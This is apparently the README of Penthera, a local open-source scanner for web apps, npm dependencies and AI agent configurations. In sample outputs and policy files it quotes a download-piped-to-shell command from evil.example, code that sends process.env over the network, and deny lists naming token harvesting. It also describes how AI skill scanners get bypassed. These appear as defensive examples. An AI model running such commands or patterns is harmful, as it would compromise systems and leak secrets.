Penthera

What is Penthera about?

Penthera delivers a unified, deterministic security workflow that checks a web application (via its URL), the source repository, its npm dependencies, and the AI skills/MCP servers you use. All analysis runs locally, requires no account or telemetry, and produces evidence suitable for auditors and EU NIS2/CRA compliance.

How to use Penthera?

• One‑line install (CLI and Agent Skill):

  curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
  

• CLI usage (recommended entry points):
  • Scan an app and its repo: penthera https://myapp.example --repo .
  • Vet dependencies: penthera deps --base main
  • Guard a package install: penthera install <pkg>
  • Run the interactive wizard: penthera
  • Generate auditor‑ready evidence: penthera https://myapp.example --audience auditor --evidence out/
• Agent Skill – add the skill to Claude Code, Cursor, or any Agent Skills‑compatible client with npx skills add danoszz/penthera and invoke natural‑language commands such as “scan my localhost for security issues”.

Key Features

• Offline‑first scanning – works without internet, --offline limits network traffic to the target only.
• Deterministic rule set – readable file‑line evidence, no AI‑based verdicts.
• Fix‑loop – proposes deterministic diffs, applies them on a local branch, re‑scans to verify, and learns for future runs.
• Dependency capability analysis – shows what each npm package can do (install scripts, shell, network, env access, obfuscation) and highlights upgrades, typosquats, and license policy breaches.
• AI‑tooling audit – inspects Claude, Cursor, MCP server configs, skills, and plugins for hidden instructions or over‑broad permissions.
• Compliance bundles – produces NIS2 readiness tables, CRA Article 14 drafts, SBOM (CycloneDX), and signed evidence packages.
• Multiple output formats – terminal, Markdown, JSON, SARIF, and custom templates; supports audience‑specific reports.
• Pre‑commit hook – blocks commits that introduce high‑severity secrets, risky dependency changes, or policy violations.
• GitHub Action – posts capability diffs on PRs and uploads SARIF results.

Use Cases

• Pre‑deployment audit – run a full scan on staging URLs and source code before shipping.
• Continuous integration – embed penthera in CI pipelines to fail builds on new high‑severity findings.
• Dependency risk management – review every npm package’s capabilities before installation or upgrade.
• AI agent security – ensure Claude, Cursor, or other agents load only vetted skills and MCP servers.
• Regulatory evidence – generate ready‑to‑submit NIS2/CRA documentation for auditors.
• Developer education – use the interactive wizard or fix‑loop to teach secure coding patterns.

FAQ

Q: Do I need an internet connection? A: No. All rule files, vulnerability databases, and SBOM data are bundled. Use --offline to forbid any external request beyond the target host.

Q: Will Penthera push changes to my repo? A: No. The fix loop creates a local branch, asks for confirmation, and never pushes or opens pull requests automatically.

Q: Can I run Penthera as part of a GitHub Action? A: Yes. Use the provided action snippet or invoke npx penthera <url> --sarif report.sarif in a workflow step and upload the SARIF with actions/upload-sarif.

Q: How are secrets masked in reports? A: Secret values are redacted to sk‑…AAAA and only the location (file:line) is shown.

Q: What languages/frameworks are supported? A: Automatic route discovery for Next.js, Express, Fastify, Hono, and FastAPI; static analysis works for any JavaScript/TypeScript project and any npm‑based dependency tree.

Q: Is there a commercial version? A: Penthera is fully free and MIT‑licensed. Commercial platforms exist, but Penthera provides the same core checks locally without a fee.

Open-source security for the apps and AI systems you ship.

Check it before you deploy. Vet what you build with. Keep watching after you ship. On your own machine, offline, and free.

The problem

Teams now ship apps and AI agents faster than anyone can secure them. AI writes much of the code. AI pulls in the packages, MCP servers, and skills. And on most teams nobody does security full time. Attackers have noticed: 2025 and 2026 brought self-spreading npm worms that hijacked AI coding tools, malicious MCP servers, poisoned agent skills, and leaked AI provider keys running up large bills.

Commercial platforms answer this from the cloud, for a fee, often with an AI deciding what is malicious. Penthera answers it on your machine, for free, with rules you can read. Think of it as the open-source security team for teams that don't have one.

What it does for you

What it is not: a human pentester, a 24/7 SOC, or incident response. It does the repeatable checks so the people you do have can spend their time on judgement.

Why you can trust it

• Local and offline. No account, no telemetry, no cloud. --offline limits network traffic to the target you named, and every report lists the hosts that were contacted.
• Deterministic, not an AI verdict. Rules you can read, with file:line evidence and a confidence label on every finding. No model decides what is malicious.
• Never acts behind your back. The fix loop works on a local branch, asks before every change by default, and never pushes or opens pull requests.
• No update channel to hijack. Detection rules ship inside reviewed releases. Nothing is downloaded and executed at run time.
• Releases you can verify. Published with npm provenance through trusted publishing, and each version is approved by a maintainer with 2FA before it goes live. SHA-pinned CI, CodeQL, and OpenSSF Scorecard.
• Measured and cited. A published methodology, 48 verified references, and a reproducible benchmark with precision and recall.

How Penthera fits with other tools

Penthera is meant to sit next to the tools you already use, not replace them. Many teams run several of these together. Penthera's SARIF output goes straight into GitHub code scanning, for example.

Where Penthera adds something:

• it checks your app, your dependencies and your AI agent setup in one tool;
• it runs entirely on your machine, with no account;
• it fixes what it finds and re-scans to verify the fix;
• it produces NIS2 evidence.

Where others go further: registry-wide package intelligence (Socket), curated vulnerability data (Snyk, GitHub), and depth of dynamic testing (ZAP).

Descriptions reflect each project's public documentation as of October 2026. Corrections are welcome by pull request.

Two ways to use it

As an Agent Skill (recommended). Let Claude Code or Cursor drive it: install once, then ask it to "scan my app for security issues", "is this package safe to add?", or "audit my MCP servers". The agent picks the check, runs it, and walks you through the fixes.

As a CLI. Run penthera https://myapp.com, or just penthera for the guided wizard. See the quick start.

Use it responsibly

Penthera is for hardening systems you own. It is powerful, so please use it carefully. See Ethical use and the Disclaimer.

Shipping in the EU? Penthera also generates your NIS2 readiness report, policy pack, incident-report drafts, SBOM, and prefilled customer security questionnaires, plus CRA Article 14 report drafts and an AI-BOM. Readiness tooling, not a certification.

What you get

  Findings

  HIGH  IDOR/BOLA: GET /api/users/{user_id}
         http://localhost:3000/api/users/1 → 200
  HIGH  OAuth open redirect
         http://localhost:3000/api/oauth/callback?redirect_uri=... → 302
  MED   Missing Content-Security-Policy
  MED   No login rate limiting detected
         http://localhost:3000/api/login → 401
  LOW   Missing X-Frame-Options
  INFO  Missing Referrer-Policy

  ──────────────────────────────────────────────────────────
  2 high · 5 medium · 2 low · 2 info

Every finding carries a confidence label (confirmed, likely, potential, needs-human-review), so a heuristic never poses as a certainty. Reports come out as Markdown, JSON, and SARIF, with the fixes in priority order.

Run it

One-line install (clones the repo, links the CLI, and installs the skill into Cursor and Claude Code if it finds them):

curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash

Or via the Agent Skills CLI (Cursor, Claude Code, and 40+ agents):

npx skills add danoszz/penthera

Then talk to your agent:

"Scan my localhost:3000 for security issues"
"Run a pre-deploy security audit on staging.myapp.com"
"Find hardcoded secrets in this repo before I push"

Or try it with no install at all:

npx penthera https://your-app.example

Prefer the terminal? Run penthera with no arguments for a guided wizard.

The skill adds an authorization gate: it instructs your agent to refuse targets you do not own or are not authorized to test.

Scan modes and profiles

Pick a profile, or add individual flags for more depth:

Individual flags: --recon, --deep, --fuzz, --adaptive, --nuclei <path>, --templates <dirs>, --all

How it works

Findings map to the OWASP Web Security Testing Guide (WSTG v4.2), and agent findings to the OWASP MCP and Agentic Top 10s. The default scan is non-destructive. Payload-based testing is opt-in (--deep, --fuzz, --all) and gated behind explicit confirmation.

Quick start

# First time? Run with no args for guided setup
penthera

# Safe default scan (non-destructive)
penthera https://myapp.com

# Staging plus source code, full report set
penthera https://staging.myapp.com --repo . --all -o reports/scan.json --sarif reports/scan.sarif

# Baseline diff: show only new findings since the last scan
penthera https://myapp.com -o reports/scan.json --baseline reports/previous.json

# Authenticated scan (session cookie or bearer token)
PENTHERA_BEARER=eyJ... penthera https://myapp.com --profile standard
penthera https://myapp.com --auth-cookie "session=abc123"

Writing to -o reports/scan.json also drops a human-readable reports/scan.md next to it. Reports are gitignored by default.

Exit codes

Output

For your AI coding agent

Penthera ships as an Agent Skill, the open format used by Cursor, Claude Code, Claude.ai, and 40+ agent tools. The skill teaches an agent to run authorized scans, pick the right profile, and summarize findings, so you can just describe what you want.

Install (any of these):

# Cross-agent, frictionless
npx skills add danoszz/penthera

# Or the one-line installer (also links the CLI)
curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash

# Or copy into a single project for team sharing
cp -r skills/penthera .cursor/skills/penthera     # Cursor
cp -r skills/penthera .claude/skills/penthera     # Claude Code

Or as a Claude Code plugin (installs the skill):

/plugin marketplace add danoszz/penthera
/plugin install penthera@penthera

For Claude.ai (web), zip and upload the skill:

npm run package:skill   # produces penthera-skill.zip; upload in Settings > Capabilities > Skills

Prompts that trigger it:

• "Scan my localhost app on port 3000 for security issues"
• "Run a pre-deploy audit on staging.myapp.com and summarize critical findings"
• "Scan this repo for hardcoded secrets and exposed API routes"
• "Compare today's scan to last week's baseline and show only new findings"
• "Generate a SARIF report for GitHub code scanning"
• "Audit my MCP servers, skills and Claude Code hooks"

The skill adds an authorization gate: it instructs the agent to refuse targets you do not own or are not authorized to test, and the wizard asks you to confirm before scanning a remote host. It is an agent-level and interactive safeguard, not something the raw CLI enforces. You are responsible for every target you pass it. Run preflight before the first scan:

bash skills/penthera/scripts/preflight.sh http://localhost:3000

Skill source and workflows live in skills/penthera/SKILL.md.

Audit your agent setup

Your AI tools run code too. penthera agents audits the skills, MCP servers, hooks, permissions, plugins and rule files that Claude Code, Cursor, Claude Desktop, VS Code and Copilot load, and grades the setup A to F.

penthera agents                 # this repo: .mcp.json, .claude/, .cursor/, AGENTS.md, CLAUDE.md, skills/
penthera agents --home          # + ~/.claude (hooks, permissions, plugins, skills), ~/.cursor/mcp.json, Claude Desktop
penthera agents ./some-skill    # vet a downloaded skill before you install it
penthera agents --pin           # write penthera.lock; later runs flag anything that changed

It is offline and deterministic: no LLM judge, no registry lookups, nothing leaves your machine, and it never modifies the config it reads. Every verdict is a rule you can read in lib/agents/, so a skill can't talk its way past it.

Each finding names the OWASP MCP Top 10 and Agentic Top 10 (ASI) ids it maps to, and the usual --json, -o, --markdown and --sarif outputs all work. The scanner is built for the ways LLM-judged skill scanners have been bypassed: it reads whole files (no context window to overflow), every file in a skill folder (not just SKILL.md), and treats text aimed at a reviewer as a finding rather than an argument.

Scan and fix

Penthera does not just report problems. It closes the loop: ask your agent to fix what it finds, and it detects the issue, applies a framework-aware fix to your code (shown as a diff for you to approve), and re-scans to prove it is resolved.

"Scan my app and fix what you find"
"Fix the security headers on my Next.js app and re-scan to confirm"
"Find and fix hardcoded secrets in this repo"

Fixes come from a remediation playbook covering Next.js, Express, Fastify, Hono, and FastAPI. They are always shown as diffs for your approval and verified by a re-scan; nothing is applied blindly, and nothing touches production. To build secure-by-default in the first place, see secure defaults.

Fix recipes

For the most common findings you don't need an agent at all. penthera fix plans deterministic, local fixes and prints each one as a unified diff:

penthera fix --plan --repo .                  # fresh repo scan, one diff per fix
penthera fix --plan --repo . -o report.json   # or use the findings from an earlier scan
penthera fix --apply <id> --repo .            # apply one diff after you approve it

How it stays safe:

• Planning never writes. Applying is a separate step: it needs a plan id plus a y/N confirmation (or --yes), refuses a dirty git tree unless you pass --allow-dirty, refuses any path outside the repo, and writes nothing unless every hunk applies. It never commits or pushes.
• Conservative edits. No AST rewriting: each recipe edits at an anchor it recognises exactly (const app = express(), the exported Next.js config object, a one-line res.cookie(...)). If the anchor isn't there, or the code already does something custom (an existing headers(), cookie options in a variable), the recipe returns no plan instead of a risky diff.
• Owner actions are listed, not done. A recipe can move a secret out of the code but can never rotate it, so every secret fix says "rotate this secret". Other recipes flag what is still on you, such as tightening the starter CSP or setting CORS_ALLOWED_ORIGINS.
• Secrets stay masked. The secret's value is masked in printed and --json plans.
• Verified. After --apply, Penthera re-scans the repo and says whether each finding is gone. Headers, cookies, CORS and rate limits are checked statically from source, so re-run your URL scan to confirm against the live app.

No recipe for a finding? --fix-model <name> can ask a model running in Ollama on 127.0.0.1:11434, and nowhere else. It is off by default and only used when no recipe matches. Its diffs are labelled needs-human-review.

The local loop: penthera agent --loop

penthera agent --loop runs scan → fix → verify → learn on your machine until nothing fixable is left (or --max-iterations, default 5):

penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json

It shows each diff and asks y/n/skip/quit, applies it on a local branch penthera/fix-<yyyymmdd-hhmm>, re-scans (plus your tests with --run-tests), commits the fix if it verified and reverts it if not, and records the outcome in local memory. It refuses a dirty tree or a detached HEAD, runs only an allow-list of local git commands with your repo's hooks disabled, contacts only the --url host, and never pushes or opens a pull request. --auto low applies without asking only recipes that memory shows verified 3+ times with no failures on your framework. Details and the loopRun JSON: docs/local-loop.md.

Dependency risk: what can your packages do?

A lockfile change is code you did not write, about to run with your app's access to files, network, environment and CI secrets. penthera deps reads package-lock.json, statically scans every installed package, and tells you what each one can do, and which packages are new or gained capabilities in an upgrade.

penthera deps                          # every package in node_modules
penthera deps --base origin/main       # capability diff vs the lockfile on main
penthera deps --diff ../base-checkout  # diff vs another installed tree (or an old package-lock.json)
penthera deps --pr-comment deps.md     # short Markdown diff for a PR comment

  ▲ net-helper 1.0.0 → 1.1.0  + network, whole environment
      node_modules/net-helper/index.js:3  const https = require('https');
      node_modules/net-helper/index.js:5  const body = JSON.stringify(process.env);

Every capability carries file:line evidence. It is a regex-and-tokenizer pass, not a full parser: deterministic, never executes package code, and fast enough for every PR (0.4 s for Penthera's own 61 packages, 5 to 16 s for real app trees of 500 to 1,700 packages). A capability is what code can do, not proof that it is malicious; the findings carry honest confidence labels (potential for obfuscation and typosquats).

Offline by default. Old versions for the diff come from the base tree's node_modules or from npm's local cache (~/.npm/_cacache), looked up by the lockfile's integrity hash and verified byte for byte. --online is the only network use: it asks the npm registry for publish dates, publisher changes and deprecations, and fetches old tarballs the cache does not have (verified the same way). To comment the capability diff on every PR that changes the lockfile, use the GitHub Action below.

Use as a GitHub Action

- uses: danoszz/penthera@<release-commit-sha> # v1.4.0
  with:
    mode: deps        # deps | agents | scan (scan also needs url:)
    fail-on: none     # none | high | critical

On every pull request it posts one comment with the capability diff against the PR base and edits that same comment on each push. It also uploads SARIF to code scanning. Penthera runs from the action's own checkout: no npx, no install from npm, no registry lookups. On fork PRs the token is read-only, so the diff goes to the job summary instead. Inputs: mode, path, base-ref, url, fail-on, comment, sarif, penthera-version. Copy the full workflow, with permissions and a lockfile paths filter, from docs/examples/pr-dependency-review.yml.

Install firewall: penthera install

penthera deps tells you what changed after the fact. penthera install asks before anything runs:

penthera install left-pad             # check, then install (asks if the policy says so)
penthera install -D vitest --dry-run  # report only
penthera install --yes                # CI: install only if nothing breaches the policy

  ▲ color-helper 1.0.0 → 1.1.0  + install script
      postinstall: node postinstall.js

  Policy    defaults (no penthera.policy.json)
  ! color-helper@1.1.0  needs approval: install script

  Install anyway? [y]es, run the install scripts / [s]kip scripts / [N]o:

1. npm resolves the new tree in a temporary copy of package.json and the lockfile, with scripts off (npm install --package-lock-only --ignore-scripts).
2. New tarballs are fetched with npm cache add. Nothing is unpacked into node_modules and no package code runs; each tarball is checked against the proposed lockfile's integrity before it is read.
3. The deps engine diffs capabilities against your current lockfile, lists new install scripts with their commands, and checks new names for typosquats.
4. penthera.policy.json decides. On approval, the reviewed lockfile is installed as is, with --ignore-scripts unless you approved the scripts (on npm 12+, approved scripts are pinned in package.json allowScripts). On abort, exit code 1, and the project is byte for byte unchanged.

{
  "allow": ["@acme/*", "esbuild", "sharp@0.33.5"],
  "deny": ["ai-cli-invoke", "token-harvest"],
  "requireApproval": ["install-scripts", "ai-config-write", "ai-cli-invoke",
                      "token-harvest", "obfuscated", "typosquat", "unscanned"]
}

deny and requireApproval take capability ids from the table above (install-scripts, shell, network, env-bulk, obfuscated, ...) plus typosquat and unscanned. The requireApproval list shown is the default. allow takes names or globs, optionally pinned to a version, and overrides both. The one network use is npm talking to your configured registry, and Penthera prints which one; Penthera itself sends nothing. Workspaces and file: dependencies are not supported yet.

License policy

penthera deps --license-policy permissive        # or weak-copyleft-ok, no-agpl
penthera deps --license-policy legal/policy.json # a file with a "licenses" section

Without the flag, penthera deps applies the licenses section of penthera.policy.json when there is one:

{
  "licenses": {
    "preset": "permissive",
    "allow": ["Python-2.0"],
    "deny": ["WTFPL"],
    "allowPackages": ["@acme/*", "sharp@0.33.5"],
    "unknown": "warn"
  }
}

Licenses come from the lockfile (npm records them in v2 and v3), else from the installed package.json. Expressions are parsed as SPDX: MIT OR GPL-3.0-only passes permissive because one branch is enough, while MIT AND GPL-3.0-only does not. Deprecated ids (GPL-3.0, GPL-2.0+) are matched to their current form, so a deny of AGPL-3.0-only also catches a package that says AGPL-3.0. A breach and UNLICENSED (no rights granted) are high. A missing, custom (SEE LICENSE IN ...) or non-SPDX license is medium, or high with "unknown": "block". allowPackages exempts packages your legal review has cleared. Findings use category license and appear in every output format, and --sbom now records each component's license.

Block it before it's committed

Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs the checks that matter on what you are about to commit, and nothing else:

penthera hook install     # writes .git/hooks/pre-commit; an existing hook is kept and runs first
penthera hook run         # what the hook runs; try it on staged changes
penthera hook uninstall   # removes it and puts your old hook back

On staged content only (the git index, not your working tree):

• secrets and AI provider keys in staged files;
• penthera agents rules on staged .mcp.json, CLAUDE.md, AGENTS.md, .cursor/, .claude/ and skills/;
• when package-lock.json is staged, the capability diff against HEAD's lockfile and the license policy, for the packages this commit adds.

  ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)

  ✗ CRITICAL .mcp.json  MCP server "x" launches by downloading and running code  id b5914a44a2058da9
      → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
  ✗ CRITICAL config.js:1  Anthropic API key in source  sk-a…AAAA  id 7a0eb6998ff38787
      → Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.

  Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
    { "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
  To skip the check for one commit: git commit --no-verify (the finding still ships)

It blocks on high and critical by default and takes about 0.1 to 0.5 s. Configure it in penthera.policy.json:

{ "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
            "checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }

If husky or lefthook manage your hooks (core.hooksPath is set), penthera hook install says so instead of overwriting them. Add one line to that tool instead:

# husky
echo "npx --no-install penthera hook run" >> .husky/pre-commit

# lefthook.yml
pre-commit:
  commands:
    penthera:
      run: npx --no-install penthera hook run

# .pre-commit-config.yaml (pre-commit.com)
repos:
  - repo: https://github.com/danoszz/penthera
    rev: <tag or sha>
    hooks:
      - id: penthera

Compliance: NIS2 and the cyberwetgeving

Shipping in the EU? NIS2 (the Cyberbeveiligingswet in the Netherlands, the NIS2-wet in Belgium) puts a duty of care on in-scope organisations. Penthera turns the technical, testable part of that duty into repeatable evidence, and helps with the paperwork around it. Offline, no accounts.

Full guide, the measure-by-measure coverage table, and the limits: docs/compliance-nis2.md. Cyber Resilience Act reporting and the AI-BOM: docs/compliance-cra.md.

Readiness tooling, not a certification and not legal advice.

CI integration

# Scan a staging URL on a schedule and upload results to GitHub Security.
- run: npx penthera@1.5.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
- uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
  with:
    sarif_file: reports/scan.sarif

Copy the full workflow from docs/examples/github-actions-scan.yml into your app's repo. Pin the Penthera version so a scheduled run never picks up code you have not reviewed.

Penthera's own CI runs the full test suite on Node 22 and 24, self-scans a mock vulnerable API on every push, and runs CodeQL and OpenSSF Scorecard.

Ethical use & authorization

Penthera sends HTTP requests to the targets you give it. Some modes (--deep, --fuzz, --all) send attack payloads designed to find vulnerabilities. Use it responsibly.

You may use Penthera when:

• You own the target (your app, your server, your project).
• You have written authorization from the system owner (email, ticket, signed scope).
• You scan localhost or private lab environments you control.
• You use it for defensive security: research, coursework, CI hardening, pre-release audits.

You must not use Penthera to:

• Scan systems you do not own or lack explicit permission to test.
• Probe government, healthcare, financial, or third-party production systems without authorization.
• Exfiltrate data, disrupt services, or bypass access controls.
• Use findings to attack, extort, or harm anyone.

Before scanning any URL that is not localhost, confirm you have permission. When in doubt, do not scan.

Unauthorized security testing may violate computer-misuse laws (for example the US CFAA, the UK Computer Misuse Act, and EU national equivalents) and can result in criminal prosecution, civil liability, IP blocking, account termination, and academic or professional penalties.

Install

The one-line installer is the fastest path. To set it up manually:

git clone https://github.com/danoszz/penthera.git
cd penthera
npm install
npm link            # exposes `penthera` and `penthera-scan` globally
penthera --version

Requirements: Node.js 22+ and npm. Optional: nuclei-templates for --nuclei, and Docker. To run it in a container:

docker build -t penthera .
docker run --rm penthera https://your-app.example

Configuration

For live integration tests against your own routes:

cp pentest.config.example.js pentest.config.js   # gitignored

Edit the route groups, then run npm run pentest:live. Set PENTEST_BASE_URL to point at staging without editing the file.

Testing & contributing

npm test                 # full suite (live integration tests skip without a running target)
npm run pentest:mock     # offline tests against a local mock vuln API
npm run mock-server      # start the mock API on port 8765

See the roadmap for what is next, including auditing the skills, MCP servers, and plugins in your AI toolchain, and what is deliberately not planned.

See CONTRIBUTING.md for the project layout, how to add a probe or template, the test matrix, and the release and publishing checklist.

Methodology and accuracy

How Penthera decides what is a finding, how sure it is, and what it cannot see is written up in docs/METHODOLOGY.md, with every design choice tied to published research or a standard (references). Reports carry the same citations: each finding gets a "Why this matters / Sources" line, and SARIF rules link to their source.

Accuracy is measured, not claimed. npm run bench scans local labelled targets offline and scores precision and recall; the current run is 19 true positives, 3 false positives and 2 false negatives (precision 0.86, recall 0.90). The results list every miss and false alarm, and the benchmark README explains the method and its limits.

To cite Penthera, use the "Cite this repository" button on GitHub (CITATION.cff).

Status

Production-ready and moving fast. App scanning (URL, repo, macOS machine), dependency capability analysis and an install firewall, the AI-tooling audit, the local fix loop with a learning store, audience reports and evidence bundles, the PR-comment GitHub Action, and NIS2 readiness tooling are all shipped. See the CHANGELOG for the full history and the roadmap for what is next.

Penthera is actively maintained. Issues and PRs welcome.

Support Penthera

Penthera is free and MIT-licensed. If it caught something before you shipped it, you can help keep it maintained:

Sponsorship pays for maintainer time: keeping detection rules current, security fixes, and the roadmap. It does not buy influence over findings, a support SLA, or early access to vulnerability reports, and a logo here is not a security endorsement of that company. Details in docs/funding/sponsor-tiers.md.

Privacy

Penthera has no telemetry. It does not collect, store, or transmit any usage data, analytics, or personal information to the author or any third party. It does not phone home.

• Scan traffic goes to the target you specify. Auth tokens passed via --auth-bearer, --auth-cookie, or PENTHERA_* env vars are sent only to that target.
• Every request identifies itself as penthera/<version> (+https://github.com/danoszz/penthera), so a target's operator can tell where the traffic comes from. Override it with --user-agent.
• Reports stay local. Output is written to reports/ (gitignored) on your machine.
• Every scan lists the third-party hosts it contacted besides the target, in the terminal summary and in the report's "Network egress" section.

Without --offline, a scan may contact these third parties:

Fully local: --offline

penthera http://localhost:3000 --offline

With --offline, the HTTP client refuses every host except the scan target. A redirect may only move to a host on the target's registrable domain (example.com to www.example.com). In practice:

• Recon is skipped. No queries go to crt.sh, the Wayback Machine or OTX.
• The Retire.js database comes from the snapshot vendored in the package (lib/data/retire-jsrepository.json.gz), refreshed at each release by scripts/refresh-retire-db.mjs. The source URL, fetch date and SHA-256 sit next to it in retire-jsrepository.meta.json, so you can check it against upstream. Online scans fall back to the snapshot too when the live download fails.
• Third-party scripts are not fetched. A refused request is listed in the report as an inconclusive probe, not passed over silently.
• --suppliers is refused, because it rates third-party domains.
• DNS: reaching a remote target needs DNS. For non-local targets, the email-authentication check also looks up the target domain's SPF/DMARC/MX records through your system resolver. A localhost or IP target needs no DNS at all.

Penthera never fetches rules or code at runtime: templates, wordlists and the vulnerability database ship in the package.

Inconclusive probes

When a probe's requests time out, fail, or are refused by --offline, the scan records { probe, url, message } in result.errors. The terminal summary shows "N probes inconclusive", and the Markdown report lists each one. A probe that could not run is not a clean result.

You are responsible for ensuring you are authorized to scan any target. See Ethical use.

Disclaimer

Penthera is provided for legitimate security research and defensive testing of systems you own or are authorized to test, and for that purpose only.

• It is a research and self-assessment tool. Scan your own apps to find and fix weaknesses before attackers do.
• The same capabilities that harden a system can cause harm if pointed at someone else's. Use it carefully and lawfully.
• The author does not condone unauthorized or malicious use, and accepts no liability for any damage, loss, or legal consequence arising from use or misuse of this software.
• The software is provided "as is", without warranty of any kind. See LICENSE (MIT).
• You are solely responsible for ensuring every scan you run is authorized and legal in your jurisdiction.

By using Penthera you accept these terms.

License & disclosure

MIT. See LICENSE. Report vulnerabilities in Penthera itself via SECURITY.md. Only scan systems you own or are authorized to test.